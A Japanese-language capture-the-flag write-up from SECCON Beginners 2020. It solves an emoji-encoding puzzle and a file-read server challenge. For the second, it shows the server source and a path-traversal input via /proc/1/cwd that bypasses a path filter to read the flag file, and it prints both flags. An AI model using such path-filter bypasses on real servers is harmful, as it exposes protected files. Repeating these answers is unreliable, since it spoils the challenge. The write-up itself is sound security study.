2020年5月23日 (土) 14:00~2020年5月24日 (日) 14:00 (24 時間)開催されていたSECCON BeginnersのWriteupです。

チーム美女になる で参加していました、自分が解いた問題は emoemoencodereadme でした。

emoemoencode

絵文字が並べられたファイルが問題として与えられます。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

解法

何だかUnicodeでフラグが表現されているような気がしたので、おもむろにUTF-8とかに変換してみたところフラグが出てきました。 変換には以下のサイトを利用させてもらいました。

UTF-8 encoder/decoder

ctf4b{stegan0graphy_by_em000000ji}

readme

ncでアクセスできるURLとサーバのソースコードが問題として与えられます。 入力が求められ、ファイルのパスを入力するとそのパスにあるファイルの中身が表示されます。

$ nc readme.quals.beginners.seccon.jp 9712
File: aaaa
[-] File not found

$ nc readme.quals.beginners.seccon.jp 9712
File: /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.11.6
PRETTY_NAME="Alpine Linux v3.11"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"

やることは /home/ctf/flag を読み取るのですが、サーバ側のコードで入力されたパスの検査を行っており、愚直にパスを入力しても読み取れないようになっているのでそれを頑張って突破する問題でした。

server.py

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    print(path)
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

解法

解法としては /proc 以下でなんとかできないか調べていたところ、以下のような仕組みを発見したので、それを使ってパスを設定する事でうまく迂回する事ができフラグをゲットできました。

Linux豆知識200

cwd プロセスのカレントワーキングディレクトリ(CWD)へのシンボリックリンク

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/1/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

感想

最近は1人で参加していたのですが、久しぶりにチームで参加すると楽しかったです。 チームメンバーが裏で他の問題をどんどん解いてくれたりしていたので、1つの問題に集中できて助かりました!